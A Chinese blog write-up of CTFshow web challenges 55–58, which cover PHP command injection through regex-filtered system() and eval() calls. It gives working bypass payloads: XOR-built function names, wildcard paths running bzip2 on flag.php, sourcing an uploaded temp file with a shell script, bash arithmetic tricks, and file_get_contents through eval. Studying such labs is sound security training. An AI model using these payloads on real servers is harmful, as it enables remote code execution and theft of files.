CTFshow web(php命令执行 55-59)

                                                                web55

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

遇到这类题目解法比较固定,这类题目一个解法是无字母RCE,运用自增和异或相关脚本构造system ls的另外形式,比如:("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

CTFshow web(命令执行 41-44)-CSDN博客

我的上一篇文章有介绍,建议可以去看看

这里是另外的做法:

利用 bzip2打包,然后访问打包文件
c=/???/???/????2 ????.???    //对 flag.php 进行打包,默认打包后缀 bz2
接下来直接访问 url/flag.php.bz2,进行下载,获取 flag
直接等同于/usr/bin/bzip2 flag.php

题目知识点学习(牢牢掌握):

  1. /bin 目录:/bin 是系统的二进制目录之一,用于存放基本的执行命令。这些命令通常是系统启动和基本功能所必需的,因此在系统启动过程中就能访问到。

  2. 公用命令:/bin 目录存放了许多常用的命令,如 lscpmvrmmkdircat 等。这些命令用于完成文件和目录的管理、文本处理、文件传输等常见操作。

  3. 可执行文件:/bin 目录下的文件都是可执行文件,可以通过在命令行中输入命令来执行它们。

  4. 环境变量 PATH:在环境变量 PATH 中包含了一组目录的路径,其中包括 /bin 目录。这意味着当您在命令行中输入一个命令时,系统会自动搜索 /bin 目录以确认命令的可执行文件所在位置。

  5. 访问权限:/bin 目录下的文件通常有很高的访问权限,只有具有适当权限的用户才能对这些文件进行执行、读取或修改操作。通常,这些命令文件属于系统管理员(root)或具有特定权限的用户。

总结:其实过滤越多,越大的题目,看似面临着绝境,但其实也往往是机遇,因为这告诉你方向无非就两个:无回显RCE,以及/bin目录命令执行过滤,在过滤如此之大的时候其他方法都比较困难,这里掌握方法后直接套用就好了 。

                                                                        web56

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

/bin 目录存放了许多常用的 Shell 命令,这些命令是通过 Shell 解释器来执行的,

其实也可以直接归属到shell命令里面,这里过滤的更恐怖数字字母都没有了,无回显RCE也很困难,这里直接使用shell命令

在linux里面临时存放文件的目录可能会被定时删除这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX
所以需要规定一个范围[@-[],从@-[就是26个字母然后关于上传文件的内容

php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了

直接上POSTman

payload:

?c=. /???/????????[@-[]

POSTman使用:

在Postman中上传文件的方法如下:

打开后变成POST,把网页复制然后点击Body,

点击file模式,自己选择上传的文件,然后把名字写进去,最后Send就好

文件内容:

#!/bin/sh
cat flag.php

                                                                web57

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}                                             

这里一句话:其实就是构造出36

问题是过滤了数字的情况下怎么弄出36

那就回到了无回显RCE问题了
原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36再进行取反

//${_}会输出上一次的执行结果

payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

                           web58

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这里好多了,其实就是一个禁用函数,我还是那句话,如果你不知道对面禁用了啥,那就一个一个地尝试!!!

可以看看我的一篇文章,有很多命令执行语句攻击总结

一篇文章带你进阶CTF命令执行-CSDN博客

 

一个个丢进去,看那个能够中奖吧,因为你不知道对面过滤了啥!

payload:

POST:c=echo file_get_contents('flag.php');

                

PS:真诚地希望我的文章能够帮助大家,今年过年也是如约抽空更新了,祝愿各位龙年吉祥,谢谢!        

                   

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值